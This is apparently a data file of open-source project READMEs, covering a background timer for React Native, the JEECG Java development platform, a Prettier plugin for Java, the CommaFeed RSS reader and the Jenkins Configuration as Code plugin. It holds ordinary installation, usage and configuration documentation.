3) [AVL Tree](https://github.com/sherxon/AlgoDS/blob/master/src/ds/AVLTree.java)
4) [Trie (Prefix tree)](https://github.com/sherxon/AlgoDS/blob/master/src/algo/string/Trie.java)
5) [Hashed Array Tree](https://github.com/sherxon/AlgoDS/blob/master/src/ds/HashedArrayTree.java)
6) [LRU Cache](https://github.com/sherxon/AlgoDS/blob/master/src/problems/hard/LRUCache.java)
## Contribute
Did you find a bug? Any way to do it better? Please feel free to pull-request it. :)
| 0 |
ocetnik/react-native-background-timer | Emit event periodically (even when app is in the background) | null | # React Native Background Timer
Emit event periodically (even when app is in the background).
## Installation
1. If you use Expo to create a project [you'll just need to](https://facebook.github.io/react-native/docs/getting-started#caveats) "[eject](https://docs.expo.io/versions/latest/expokit/eject)".
```bash
expo eject
```
2. Install React Native Background Timer package.
```bash
yarn add react-native-background-timer
# or using npm
npm install react-native-background-timer --save
```
3. Link React Native Background Timer library. This step is not necessary when you use React Native >= 0.60 (and your app is not ejected from Expo).
```bash
react-native link react-native-background-timer
```
4. If you use CocoaPods or React Native >= 0.60 (and your app is not ejected from Expo) or your app is ejected from Expo, then before running your app on iOS, make sure you have CocoaPods installed and run:
```bash
cd ios
pod install
```
Link the library manually if you get errors:
- Android: `TypeError: Cannot read property 'setTimeout' of undefined` or `TypeError: null is not an object (evaluating 'RNBackgroundTimer.setTimeout')`
- iOS: `Native module cannot be null`
<details>
<summary>Android manual linking</summary>
- `android/settings.gradle`
```diff
+ include ':react-native-background-timer'
+ project(':react-native-background-timer').projectDir = new File(rootProject.projectDir, '../node_modules/react-native-background-timer/android')
```
- `android/app/build.gradle`
```diff
dependencies {
+ implementation project(':react-native-background-timer')
}
```
- `android/app/src/main/java/com/your-app/MainApplication.java`
```diff
+ import com.ocetnik.timer.BackgroundTimerPackage;
@Override
protected List<ReactPackage> getPackages() {
return Arrays.<ReactPackage>asList(
+ new BackgroundTimerPackage()
);
}
```
</details>
<details>
<summary>iOS manual linking</summary>
- `ios/Podfile`
```diff
+ pod 'react-native-background-timer', :path => '../node_modules/react-native-background-timer'
```
</details>
## Usage
```js
import BackgroundTimer from 'react-native-background-timer';
```
### Crossplatform
To use the same code both on Android and iOS use runBackgroundTimer() and stopBackgroundTimer(). There can be used only one background timer to keep code consistent.
```js
BackgroundTimer.runBackgroundTimer(() => {
//code that will be called every 3 seconds
},
3000);
//rest of code will be performing for iOS on background too
BackgroundTimer.stopBackgroundTimer(); //after this call all code on background stop run.
```
### iOS
After iOS update logic of background task little bit changed. So we can't use as it was.
You have to use only start() and stop() without parameters. And all code that is performing will continue performing on background including all setTimeout() timers.
Example:
```js
BackgroundTimer.start();
// Do whatever you want incuding setTimeout;
BackgroundTimer.stop();
```
> If you call stop() on background no new tasks will be started!
> Don't call .start() twice, as it stop performing previous background task and starts new.
> If it will be called on backgound no tasks will run.
### Android
You can use the `setInterval` and `setTimeout` functions.
This API is identical to that of `react-native` and can be used to quickly replace existing timers
with background timers.
```js
// Start a timer that runs continuous after X milliseconds
const intervalId = BackgroundTimer.setInterval(() => {
// this will be executed every 200 ms
// even when app is the the background
console.log('tic');
}, 200);
// Cancel the timer when you are done with it
BackgroundTimer.clearInterval(intervalId);
```
```js
// Start a timer that runs once after X milliseconds
const timeoutId = BackgroundTimer.setTimeout(() => {
// this will be executed once after 10 seconds
// even when app is the the background
console.log('tac');
}, 10000);
// Cancel the timeout if necessary
BackgroundTimer.clearTimeout(timeoutId);
```
### Obsolete
Obsolete usage which doesn't support multiple background timers.
```js
import {
DeviceEventEmitter,
NativeAppEventEmitter,
Platform,
} from 'react-native';
import BackgroundTimer from 'react-native-background-timer';
```
```js
const EventEmitter = Platform.select({
ios: () => NativeAppEventEmitter,
android: () => DeviceEventEmitter,
})();
```
```js
// start a global timer
BackgroundTimer.start(5000); // delay in milliseconds only for Android
```
```js
// listen for event
EventEmitter.addListener('backgroundTimer', () => {
// this will be executed once after 5 seconds
console.log('toe');
});
```
```js
// stop the timer
BackgroundTimer.stop();
```
| 0 |
jeecgboot/jeecg | JEECG是一款基于代码生成器的J2EE快速开发平台，开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online Coding模式(自定义表单) - > 代码生成器模式 - > 手工MERGE智能开发)， 可以帮助解决Java项目90%的重复工作，让开发更多关注业务逻辑。既能快速提高开发效率，帮助公司节省人力成本，同时又不失灵活性。具备：表单配置能力（无需编码）、移动配置能力、工作流配置能力、报表配置能力（支持移动端）、插件开发能力（可插拔） | activiti5 bootstrap code-generator easyui echarts ehcache hibernate jbpm jeecg jquery minidao spring springmvc swagger-ui vue |
新版本已出，强烈推荐：https://github.com/zhangdaiscott/jeecg-boot
==============================================================
JEECG 微云快速开发平台
===============
当前最新版本： 4.0（发布日期：20190805）
[](https://github.com/zhangdaiscott/jeecg/blob/master/LICENSE)
[](http://www.jeecg.com)
[](https://github.com/zhangdaiscott/jeecg)
[](https://github.com/zhangdaiscott/jeecg)
[](https://github.com/zhangdaiscott/jeecg)
前言：
-----------------------------------
随着 WEB UI 框架 ( EasyUI/Jquery UI/Ext/DWZ/VUE/Boostrap) 等的逐渐成熟,系统界面逐渐实现统一化，代码生成器也可以生成统一规范的界面！
代码生成+手工MERGE半智能开发将是新的趋势，单表数据模型和一对多数据模型的增删改查功能直接生成使用,可节省80%工作量，快速提高开发效率！！！
简介
-----------------------------------
JEECG（J2EE Code Generation）是一款基于代码生成器的智能开发平台。引领新的开发模式(Online Coding->代码生成器->手工MERGE智能开发)，可以帮助解决Java项目90%的重复工作，让开发更多关注业务逻辑。既能快速提高开发效率，帮助公司节省人力成本，同时又不失灵活性。
JEECG宗旨是: 简单功能由代Online Coding配置出功能;复杂功能由代码生成器生成进行手工Merge; 复杂流程业务采用表单自定义，业务流程使用工作流来实现、扩展出任务接口，供开发编写业务逻辑。实现了流程任务节点和任务接口的灵活配置，既保证了公司流程的保密行，又减少了开发人员的工作量。
适用项目
-----------------------------------
JEECG快速开发平台，可以应用在任何J2EE项目的开发中，尤其适合企业信息管理系统（MIS）、内部办公系统（OA）、企业资源计划系统（ERP）、客户关系管理系统（CRM）等，其半智能手工Merge的开发方式，可以显著提高开发效率90%以上，极大降低开发成本；JEECG尤为显著的支持SAAS企业级应用开发，插件机制更好的支持了SAAS云应用需求。
为什么选择JEECG?
-----------------------------------
* 1.采用主流框架，容易上手; 代码生成器依赖性低,很方便的扩展能力，可完全实现二次开发;
* 2.开发效率很高,采用代码生成器，单表数据模型和一对多(父子表)数据模型，增删改查功能自动生成，菜单配置直接使用；
* 3.页面校验自动生成(必须输入、数字校验、金额校验、时间空间等);
* 4.封装完善的用户基础权限、强大的数据权限、和数据字典等基础功能，直接使用无需修改
* 5.常用共通封装，各种工具类(定时任务,短信接口,邮件发送,Excel导出等),基本满足80%项目需求
* 6.集成简易报表工具，图像报表和数据导出非常方便，可极其方便的生成pdf、excel、word等报表；
* 7.集成工作流activiti，并实现了只需在页面配置流程转向，可极大的简化jbpm工作流的开发；用jbpm的流程设计器画出了流程走向，一个工作流基本就完成了，只需写很少量的java代码；
* 8.UI标签库，针对WEB UI进行标准式封装，页面统一采用自定义标签实现功能：列表数据展现、页面校验等,标签使用简单清晰且便于维护
* 9.在线流程设计，采用开源Activiti流程引擎，实现在线画流程,自定义表单,表单挂靠,业务流转
* 10.查询过滤器：查询功能自动生成，后台动态拼SQL追加查询条件；支持多种匹配方式（全匹配/模糊查询/包含查询/不匹配查询）；
* 11.多数据源：及其简易的使用方式，在线配置数据源配置，便捷的从其他数据抓取数据；
* 12.国际化：支持多语言，开发国际化项目非常方便；
* 13.数据权限（精细化数据权限控制，控制到行级，列表级，表单字段级，实现不同人看不同数据，不同人对同一个页面操作不同字段
* 14.多种首页风格切换,支持自定义首页风格。（经典风格、Shortcut风格、ACE bootstrap风格、云桌面风格）
* 15.在线配置报表（无需编码，通过在线配置方式，实现曲线图，柱状图，数据等报表）
* 16.简易Excel导入导出，支持单表导出和一对多表模式导出，生成的代码自带导入导出功能
* 17.自定义表单，支持用户自定义表单布局，支持单表，一对多表单、支持select、radio、checkbox、textarea、date、popup、列表、宏等控件
* 18.专业接口对接机制，统一采用restful接口方式，集成swagger-ui在线接口文档，Jwt token安全验证，方便客户端对接
* 19.接口安全机制，可细化控制接口授权，非常简便实现不同客户端只看自己数据等控制
* 20.高级组合查询功能，在线配置支持主子表关联查询，可保存查询历史
* 21.支持二级管理员，权限细化管理
* 22.代码生成器支持resutful接口生成
技术文档
-----------------------------------
* [在线演示](http://demo.jeecg.com)
* [开发环境搭建入门](http://idoc.jeecg.com/1275933)
* [开发文档](http://idoc.jeecg.com)
* [入门常见问题贴](http://bbs.jeecg.com/forum.php?mod=viewthread&tid=1830&extra=page%3D1)
* [JEECG 实战视频教程](https://edu.csdn.net/combo/detail/905)
* [本地maven仓库下载](https://gitee.com/jeecg/jeecg-local-maven)
* [非Maven版本下载](https://github.com/zhangdaiscott/jeecg-nomaven)
* [JEECG 版本日志](http://bbs.jeecg.com/forum.php?mod=viewthread&tid=365&extra=page%3D1)
JEECG 功能特点
-----------------------------------
* 采用SpringMVC + Hibernate + Minidao(类Mybatis) + Easyui(UI库)+ Jquery + Boostrap + Ehcache + Redis + Ztree + Vue + Boostrap-table + ElementUI等基础架构</br>
* 采用面向声明的开发模式， 基于泛型编写极少代码即可实现复杂的数据展示、数据编辑、表单处理等功能，再配合Online Coding在线开发与代码生成器的使用,将J2EE的开发效率提高8倍以上，可以将代码减少90%以上。</br>
* JEECG 技术点总结:
* <b>技术点一：</b>代码生成器SPA单页面应用快速生成，采用VUE+ElementUI打造酷炫效果 </br>
* <b>技术点二：</b>新一代代码生成器更灵活的代码生成器工厂，可灵活自定义生成的代码文件名称、路径等；根据模板结构生成代码文件</br>
* <b>技术点三：</b>新一代代码生成器支持Vue+ElementUI风格，Bootstrap表单+EasyUI原生态列表风格，ElementUI表单+EasyUI原生态列表风格</br>
* <b>技术点四：</b>Dategrid标签多列表风格快速切换，给用户提供多种选择</br>
* <b>技术点五：</b>Online Coding在线开发(通过在线配置实现一个表模型的增删改查功能，无需一行代码，支持用户自定义表单布局) </br>
* <b>技术点六：</b>代码生成器，支持多种数据模型,根据表生成对应的Entity,Service,Dao,Action,JSP等,增删改查功能生成直接使用</br>
* <b>技术点七：</b>UI快速开发库，针对WEB UI进行标准封装，页面统一采用UI标签实现功能：数据datagrid,表单校验,Popup,Tab等，实现JSP页面零JS，开发维护非常高效</br>
* <b>技术点八：</b>在线流程定义，采用开源Activiti流程引擎，实现在线画流程,自定义表单,表单挂接,业务流转，流程监控，流程跟踪，流程委托等</br>
* <b>技术点九：</b>自定义表单,支持用户自定义表单布局，支持单表、列表、Select\Radio\Checkbox\PopUP\Date等特殊控件</br>
* <b>技术点十：</b>查询过滤器：查询功能自动生成，后台动态拼SQL追加查询条件；支持多种匹配方式（全匹配/模糊查询/包含查询/不匹配查询）</br>
* <b>技术点十一：：</b>移动平台支持，对Bootstrap(兼容Html5)进行标准封装 </br>
* <b>技术点十二：</b>动态报表功能（用户输入一个sql，系统自动解析生成报表）</br>
* <b>技术点十三：</b>数据权限（精细化数据权限控制，控制到行级，列表级，表单字段级，实现不同人看不同数据，不同人对同一个页面操作不同字段）</br>
* <b>技术点十四：</b>国际化（支持多语言，国际化的封装为多语言做了便捷支持）</br>
* <b>技术点十五：</b>多数据源（在线配置数据源，数据源工作类封装）</br>
* <b>技术点十六：</b>多种首页风格切换,支持自定义首页风格。（经典风格、Shortcut风格、ACE bootstrap风格、云桌面风格）</br>
* <b>技术点十七：</b>在线配置报表（无需编码，通过在线配置方式，实现曲线图，柱状图，数据等报表）</br>
* <b>技术点十八：</b>简易Excel导入导出，支持单表导出和一对多表模式导出，生成的代码自带导入导出功能</br>
* <b>技术点十九：</b>移动OA，移动OA审批功能，采用H5技术，实现手机移动办公，无缝对接微信、钉钉、微信企业号、也可以做APP</br>
* <b>技术点二十：</b>移动图表，在线配置移动报表，采用H5技术，可以手机端查看</br>
* <b>技术点二十一：：</b>插件开发，业务功能组件以插件方式集成平台，也可以单独部署发发布，有力支撑了SAAS云应用系统需求</br>
* <b>技术点二十二：：</b>专业接口对接机制，统一采用restful接口方式，集成swagger-ui在线接口文档，Jwt token安全验证，方便客户端对接</br>
* <b>技术点二十三：</b>接口安全机制，可细化控制接口授权，非常简便实现不同客户端只看自己数据等控制</br>
* <b>技术点二十四：</b>高级组合查询功能，在线配置支持主子表关联查询，可保存查询历史</br>
* <b>技术点二十五：</b>支持二级管理员，权限细化管理</br>
* <b>技术点二十六：</b>代码生成器支持resutful接口生成</br>
* JEECG V4.0, 经过了专业压力测试,性能测试，保证后台数据的准确性和页面访问速度</br>
* 支持多种浏览器: IE, 火狐, Google 等</br>
* 支持数据库: Mysql,Oracle,Postgre,SqlServer等</br>
* 基础权限: 用户，角色，菜单权限，按钮权限，数据权限</br>
* 智能报表集成: 简易的图像报表工具和Excel导入导出</br>
* Web容器测试通过的有Jetty和Tomcat,Weblogic</br>
* 亮点功能：分布式部署，云平台，移动平台开发，规则引擎</br>
* 要求JDK1.6+</br>
工程说明
-----------------------------------
* 关于项目插件打包使用说明：
一些不常变动的插件，例如My97DatePicker，lhgDialog等组件，为提高项目加载效率，打包成jar项目引用加载，如需要更改相关插件源码，可下载工程[https://gitee.com/jeecg/jeecg-common-plugin-ui](https://gitee.com/jeecg/jeecg-common-plugin-ui)引入
技术交流
-----------------------------------
* QQ交流群： ⑦286263896、其他群(全满)</br>
* 官方网站： [http://www.jeecg.com](http://www.jeecg.com)
* 官方博客： [https://jeecg.blog.csdn.net](https://jeecg.blog.csdn.net)
* 关注官方微信公众号，获取更多资讯
社区荣誉
-----------------------------------
* 官网：http://www.jeecg.com
* ★2012年JEECG在Google Code上开源;
* ★2012年底开源项目JEECG被"ITeye专家访谈";
* ★2012年底开源项目JEECG被"CSDN专家访谈";
* ★2013年应邀参加"第八届开源中国开源世界高峰论坛"（该论坛由中国开源软件推进联盟主办、全球最大中文IT社区CSDN与程序员杂志协办）；
* ★2013年应邀参加"开源群英会2013”的开源英雄;
* ★2013年度中国优秀开源项目评选-公开投票,“JEECG以887票位居第九"（该项目中国开源软件推进联盟主办、全球最大中文IT社区CSDN与程序员杂志协办）；
* ★2013年度成立JEECG开源团队，创立JEECG开源社区;
* ★2013年度JEECG参加“云计算成就创业梦想”第二届阿里云开发者大赛";
* ★2013年度应邀参加了"SDCC 2013中国软件开发者大会" （大会由CSDN和《程序员》杂志倾力打造）
* ★2013年下半年推出开源项目"MiniDao(持久层解决方案）"超越了Mybatis和Hibernate；
* ★2014年5月应邀参加中国科学院大学创新创业年度论坛，探讨“创业企业发展、创新创业孵化”的主题，成为中国科学院大学创新创业和风险投资协会副会长。
* ★2014年推出当前最火的开源项目“JeeWx(捷微:敏捷微信开发平台）”，并获得CSDN举办的“2014年开发者大会”公开投票第一名
* ★2014年8月份捷微jeewx2.0与百度达成战略合作，集成百度地图，增加地图功能，附近商家团购等信息搜索。
* ★2014年12月份捷微jeewx与联通集团达成战略合作，负责联通集团微信公众账号集团化运营。
* ★2015年3月份捷微jeewx推出集团化微信运营版本，专注微信应用一体化，企业系统集成，实现公众账号上下级，类似组织机构权限模式。
* ★2015年6月份捷微jeewx推出集企业号版本，与中国移动打成战略合作，推出企业号营销新模式。
* ★2015开源中国最火开源项目,TOP5独占2位(jeewx\jeecg),TOP50占4位（jeewx\jeecg\easypoi\jeewx-api)
* ★2016年2月JEECG推出移动能力版本，在线配置移动报表，在线配置移动表单，微信OA一体化集成
* ★2016年3月JEECG插件开发机制，采用插件方式为用户提供插件服务，目前插件：OA、微信企业号、文档云盘
* ★2016年4月捷微H5活动平台与微盟达成战略合作伙伴
* ★2016年jeecg推出插件开发框架 jeecg-p3，主推通过jeecg解决未来SAAS项目需求方案
* ★2017年JEEWX推出小程序产品： 小程序商城、小程序官网CMS系统、小程序论坛
* ★2017年度 Jeecg荣获开源中国2017年度最受欢迎开源项目，第五名
* ★2018年JEEWX推出大数据版本集团版，微信管家系统（支持多触点：微信、小程序、企业微信、QQ公众号、支付窗）支持同时维护多公众号和集团模式公众号运营；支持高并发大数据程序。
* ★2018年JEEWX推出在线免费活动平台、H5活动之家。
* ★2019年jeecg打造全新开发平台，jeecg_boot(springboot+antd+vue 前后端分离最新架构)
系统演示
-----------------------------------
### [1].多套首页风格，支持自定义（H+风格|FineUI风格|ACE风格|Shortcut风格/云桌面等）
### [2].表单设计能力（online表单开发、表单设计器、word布局、积木表单）
### [3].流程组件演示
### [4].报表演示（在线配置报表）
### [5].移动报表演示
### [6].移动OA演示
### [6].移动APP
代码示例
-----------------------------------
这是一个有多行的文本框
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@include file="/context/mytags.jsp"%>
<div class="easyui-layout" fit="true">
<div region="center" style="padding:1px;">
<t:dategrid name="jeecgDemoList" title="开发DEMO列表" actionUrl="jeecgDemoController.do?datagrid" idField="id" fit="true">
<t:dgCol title="编号" field="id" hidden="false"></t:dgCol>
<t:dgCol title="用户名" field="userName" query="true"></t:dgCol>
<t:dgCol title="电话号码" sortable="false" field="mobilePhone" width="20" query="true"></t:dgCol>
<t:dgCol title="办公电话" field="officePhone"></t:dgCol>
<t:dgCol title="邮箱" field="email"></t:dgCol>
<t:dgCol title="年龄" sortable="true" field="age"></t:dgCol>
<t:dgCol title="工资" field="sex"></t:dgCol>
<t:dgCol title="性别" field="salary"></t:dgCol>
<t:dgCol title="生日" field="birthday" formatter="yyyy/MM/dd"></t:dgCol>
<t:dgCol title="创建日期" field="createTime" formatter="yyyy-MM-dd hh:mm:ss"></t:dgCol>
<t:dgCol title="操作" field="opt" width="100"></t:dgCol>
<t:dgFunOpt funname="szqm(id)" title="审核" />
<t:dgDelOpt title="删除" url="jeecgDemoController.do?del&id={id}" />
<t:dgToolBar title="录入" icon="icon-add"></t:dgToolBar>
<t:dgToolBar title="编辑" icon="icon-edit"></t:dgToolBar>
</t:dategrid>
</div>
</div>
| 0 |
jhipster/prettier-java | Prettier Java Plugin | java prettier | 
# Prettier Java
## Intro
Prettier is an opinionated code formatter. It enforces a consistent style by parsing your code and re-printing it with its own rules that take the maximum line length into account, wrapping code when necessary.
## How it works
A Prettier plugin must first parse the source code of the target language
into a traversable data structure (Usually an **A**bstract **S**yntax **T**ree)
and then print out that data structure in a "pretty" style.
Prettier-Java uses a [Java-Parser](./packages/java-parser) implemented in JavaScript using the
[Chevrotain Parser Building Toolkit for JavaScript](https://github.com/SAP/chevrotain).
What this means is that unlike many other Prettier plugins,
`prettier-java` has **no additional runtime pre-requisites** (e.g: Python executable).
It could even be used inside a browser.
## Subpackages
This project contains 2 packages:
- [prettier-plugin-java](./packages/prettier-plugin-java) A plugin for
[Prettier](https://prettier.io/) to format Java code
[![npm-prettier-plugin-java][npm-prettier-plugin-java-image]][npm-prettier-plugin-java-url]
* [java-parser](./packages/java-parser) A Java Parser using [Chevrotain](https://github.com/SAP/chevrotain) which output a **C**oncrete **S**yntax **T**ree
[![npm-java-parser][npm-java-parser-image]][npm-java-parser-url]
[npm-prettier-plugin-java-image]: https://img.shields.io/npm/v/prettier-plugin-java.svg?color=blue&label=prettier-plugin-java&logo=prettier-plugin-java
[npm-prettier-plugin-java-url]: https://www.npmjs.com/package/prettier-plugin-java
[npm-java-parser-image]: https://img.shields.io/npm/v/java-parser.svg?color=blue&label=java-parser&logo=java-parser
[npm-java-parser-url]: https://www.npmjs.com/package/java-parser
## Install
### Pre-requirements
- [Node version](https://nodejs.org/en/download/releases/) 10+
- [Prettier](https://github.com/prettier/prettier)
### Install Prettier and Prettier-Java plugin
```bash
# Local installation
npm install prettier-plugin-java --save-dev
# Or globally
npm install -g prettier prettier-plugin-java
```
or with yarn:
```bash
# Local installation
yarn add prettier-plugin-java --dev
# Or globally
yarn global add prettier prettier-plugin-java
```
Note: If you want to install the prettier-plugin-java globally, you should also install the prettier package globally.
## Usage
To reformat all your Java files, you first need to create `.prettierrc.yaml` with following content:
```yaml
plugins:
- prettier-plugin-java
```
Then run:
```bash
# If you have installed the package locally
npx prettier --write "**/*.java"
# Or globally
prettier --write "**/*.java"
```
To see an advanced usage: please go to the [Advanced Usage](./docs/advanced_usage.md) section
## Maven plugin
A neat maven plugin for prettier-java was made by developers from HubSpot. \
Add it to the `plugins` section of your `build` configuration
```xml
<build>
<plugins>
<plugin>
<groupId>com.hubspot.maven.plugins</groupId>
<artifactId>prettier-maven-plugin</artifactId>
<!-- Find the latest version at https://github.com/jhipster/prettier-java/releases -->
<version>0.8</version>
</plugin>
</plugins>
</build>
```
If you would like to use this plugin, we recommend you to check their [project](https://github.com/HubSpot/prettier-maven-plugin) as is it well documented.
## Organize imports
Prettier-java is currently sorting imports according to the [Google Java Style guide](https://google.github.io/styleguide/javaguide.html#s3.3-import-statements).
If you are using an IDE such as IntelliJ, you might want to configure it to match with Prettier-java.
For IntelliJ, you can use this configuration:
You can also import the Checkstyle configuration provided in the next section.
For VSCode with [Language Support for Java](https://marketplace.visualstudio.com/items?itemName=redhat.java), you can use this configuration (`settings.json`):
```json
{
"java.completion.importOrder": ["#"]
}
```
## Checkstyle configuration
You can use Prettier in combination with other linter, like Checkstyle.
Here is one [Checkstyle Prettier compatible configuration](./docs/checkstyle/checkstyle.xml) you can use to start with !
You can directly import the config into IntelliJ Idea for instance:
## Indent configuration
In `.prettierrc.yaml`, you can configure the indent:
For using four spaces:
```yaml
tabWidth: 4
```
For more configuration options such as using tabs, maximum line length, and more see <https://prettier.io/docs/en/configuration.html>.
## Contributing
Contributions are very welcome.
See the [contribution guide](./CONTRIBUTING.md) to get started.
And the [Help Wanted](https://github.com/jhipster/prettier-java/labels/help%20wanted) issues.
## Credits
Special thanks to [@thorbenvh8](https://github.com/thorbenvh8) for creating the original `prettier-java`
plugin and the associated Java Parser implemented in JavaScript.
We would also like to thank the [Chevrotain](https://github.com/SAP/chevrotain/graphs/contributors) and [Prettier](https://github.com/prettier/prettier/graphs/contributors) contributors which made this possible.
| 0 |
Athou/commafeed | Google Reader inspired self-hosted RSS reader. | java rss rss-reader self-hosted web-application | # CommaFeed
Google Reader inspired self-hosted RSS reader, based on Dropwizard and React/TypeScript.
## Features
- 4 different layouts
- Light/Dark theme
- Fully responsive
- Keyboard shortcuts for almost everything
- Support for right-to-left feeds
- Translated in 25+ languages
- Supports thousands of users and millions of feeds
- OPML import/export
- REST API and a Fever-compatible API for native mobile apps
- [Browser extension](https://github.com/Athou/commafeed-browser-extension)
## Deployment
### Docker
Docker is the easiest way to get started with CommaFeed.
Docker images are built automatically and are available at https://hub.docker.com/r/athou/commafeed
### Cloud hosting
[PikaPods](https://www.pikapods.com) offers 1-click cloud hosting solutions starting at $1/month with a free $5
welcome credit and officially supports CommaFeed.
PikaPods shares 20% of the revenue back to CommaFeed.
[](https://www.pikapods.com/pods?run=commafeed)
### Download precompiled package
mkdir commafeed && cd commafeed
wget https://github.com/Athou/commafeed/releases/latest/download/commafeed.jar
wget https://github.com/Athou/commafeed/releases/latest/download/config.yml.example -O config.yml
java -Djava.net.preferIPv4Stack=true -jar commafeed.jar server config.yml
The server will listen on http://localhost:8082. The default
user is `admin` and the default password is `admin`.
### Build from sources
git clone https://github.com/Athou/commafeed.git
cd commafeed
./mvnw clean package
cp commafeed-server/config.yml.example config.yml
java -Djava.net.preferIPv4Stack=true -jar commafeed-server/target/commafeed.jar server config.yml
The server will listen on http://localhost:8082. The default
user is `admin` and the default password is `admin`.
### Memory management
The Java Virtual Machine (JVM) is rather greedy by default and will not release unused memory to the
operating system. This is because acquiring memory from the operating system is a relatively expensive operation.
However, this can be problematic on systems with limited memory.
#### Hard limit
The JVM can be configured to use a maximum amount of memory with the `-Xmx` parameter.
For example, to limit the JVM to 256MB of memory, use `-Xmx256m`.
#### Dynamic sizing
The JVM can be configured to release unused memory to the operating system with the following parameters:
-Xms20m -XX:+UseG1GC -XX:-ShrinkHeapInSteps -XX:G1PeriodicGCInterval=10000 -XX:-G1PeriodicGCInvokesConcurrent -XX:MinHeapFreeRatio=5 -XX:MaxHeapFreeRatio=10
This is how the Docker image is configured.
See [here](https://docs.oracle.com/en/java/javase/17/gctuning/garbage-first-g1-garbage-collector1.html)
and [here](https://docs.oracle.com/en/java/javase/17/gctuning/factors-affecting-garbage-collection-performance.html) for
more
information.
## Translation
Files for internationalization are
located [here](https://github.com/Athou/commafeed/tree/master/commafeed-client/src/locales).
To add a new language:
- add the new locale to the `locales` array in:
- `commafeed-client/.linguirc`
- `commafeed-client/src/i18n.ts`
- run `npm run i18n:extract`
- add translations to the newly created `commafeed-client/src/locales/[locale]/messages.po` file
The name of the locale should be the
two-letters [ISO-639-1 language code](http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes).
## Local development
### Backend
- Open `commafeed-server` in your preferred Java IDE.
- CommaFeed uses Lombok, you need the Lombok plugin for your IDE.
- Start `CommaFeedApplication.java` in debug mode with `server config.dev.yml` as arguments
### Frontend
- Open `commafeed-client` in your preferred JavaScript IDE.
- run `npm install`
- run `npm run dev`
The frontend server is now running at http://localhost:8082 and is proxying REST requests to the backend running on
port 8083
| 0 |
jenkinsci/configuration-as-code-plugin | Jenkins Configuration as Code Plugin | configuration-as-code hacktoberfest jcasc jenkins jenkins-configuration | # Jenkins Configuration as Code (a.k.a. JCasC) Plugin
[](https://ci.jenkins.io/job/Plugins/job/configuration-as-code-plugin/job/master/)
[](https://github.com/jenkinsci/configuration-as-code-plugin/graphs/contributors)
[](https://plugins.jenkins.io/configuration-as-code)
[](https://github.com/jenkinsci/configuration-as-code-plugin/releases/latest)
[](https://plugins.jenkins.io/configuration-as-code)
[](https://gitter.im/jenkinsci/configuration-as-code-plugin)
<img src="plugin/src/main/webapp/img/logo-head.svg" width="192">
- [Introduction](#introduction)
- [Getting Started](#getting-started)
- [Examples and demos](./demos)
- [Handling Secrets](./docs/features/secrets.adoc)
- [Security considerations](#security-considerations)
- [Exporting configurations](./docs/features/configExport.md)
- [Validating configurations](./docs/features/jsonSchema.md)
- [Merge Strategy](./docs/features/mergeStrategy.md)
- [Triggering Configuration Reload](./docs/features/configurationReload.md)
- [Installing plugins](#installing-plugins)
- [Supported Plugins](#supported-plugins)
- [Adding JCasC support to a plugin](#adding-jCasC-support-to-a-plugin)
- [Configuration-as-Code extension plugins](#configuration-as-Code-extension-plugins)
- [Jenkins Enhancement Proposal](#jenkins-enhancement-proposal)
## Introduction
Setting up Jenkins is a complex process, as both Jenkins and its plugins require some tuning and configuration,
with dozens of parameters to set within the web UI `manage` section.
Experienced Jenkins users rely on groovy init scripts to customize Jenkins and enforce the desired state. Those
scripts directly invoke Jenkins API and, as such, can do everything (at your own risk). But they also require
you to know Jenkins internals and are confident in writing groovy scripts on top of Jenkins API.
The Configuration as Code plugin is an _**opinionated**_ way to configure Jenkins based on
human-readable declarative configuration files. Writing such a file should be feasible without being a Jenkins
expert, just translating into _code_ a configuration process one is used to executing in the web UI.
The below configuration file includes root entries for various components of your primary Jenkins installation. The `jenkins` one is for the root Jenkins object, and the other ones are for different global configuration elements.
```yaml
jenkins:
systemMessage: "Jenkins configured automatically by Jenkins Configuration as Code plugin\n\n"
globalNodeProperties:
- envVars:
env:
- key: VARIABLE1
value: foo
- key: VARIABLE2
value: bar
securityRealm:
ldap:
configurations:
- groupMembershipStrategy:
fromUserRecord:
attributeName: "memberOf"
inhibitInferRootDN: false
rootDN: "dc=acme,dc=org"
server: "ldaps://ldap.acme.org:1636"
nodes:
- permanent:
name: "static-agent"
remoteFS: "/home/jenkins"
launcher:
inbound:
workDirSettings:
disabled: true
failIfWorkDirIsMissing: false
internalDir: "remoting"
workDirPath: "/tmp"
slaveAgentPort: 50000
agentProtocols:
- "jnlp2"
tool:
git:
installations:
- name: git
home: /usr/local/bin/git
credentials:
system:
domainCredentials:
- credentials:
- basicSSHUserPrivateKey:
scope: SYSTEM
id: ssh_with_passphrase_provided
username: ssh_root
passphrase: ${SSH_KEY_PASSWORD}
description: "SSH passphrase with private key file. Private key provided"
privateKeySource:
directEntry:
privateKey: ${SSH_PRIVATE_KEY}
```
Additionally, we want to have a well-documented syntax file and tooling to assist in writing and testing,
so end users have full guidance in using this toolset and do not have to search for examples on the Internet.
See the [presentation slides](https://docs.google.com/presentation/d/1VsvDuffinmxOjg0a7irhgJSRWpCzLg_Yskf7Fw7FpBg/edit?usp=sharing) from DevOps World - Jenkins World 2018 for an overview.
## Getting Started
First, start a Jenkins instance with the [Configuration as Code](https://plugins.jenkins.io/configuration-as-code) plugin installed.
- Those running Jenkins as a [Docker](https://github.com/jenkinsci/docker) container (and maybe also [pre-installing plugins](https://github.com/jenkinsci/docker#preinstalling-plugins)), do include [Configuration as Code](https://plugins.jenkins.io/configuration-as-code) plugin.
Second, the plugin looks for the `CASC_JENKINS_CONFIG` environment variable. The variable points to a comma-separated list of any of the following:
- Path to a folder containing a set of config files. For example, `/var/jenkins_home/casc_configs`.
- A full path to a single file. For example, `/var/jenkins_home/casc_configs/jenkins.yaml`.
- A URL pointing to a file served on the web. For example, `https://acme.org/jenkins.yaml`.
If an element of `CASC_JENKINS_CONFIG` points to a folder, the plugin will recursively traverse the folder to find file(s) with .yml,.yaml,.YAML,.YML suffix. It will exclude hidden files or files that contain a hidden folder in **any part** of the full path. It follows symbolic links for both files and directories.
<details><summary>Exclusion examples</summary>
`CASC_JENKINS_CONFIG=/jenkins/casc_configs`
:heavy_check_mark: `/jenkins/casc_configs/jenkins.yaml`
:heavy_check_mark: `/jenkins/casc_configs/dir1/config.yaml`
:x: `/jenkins/casc_configs/.dir1/config.yaml`
:x: `/jenkins/casc_configs/..dir2/config.yaml`
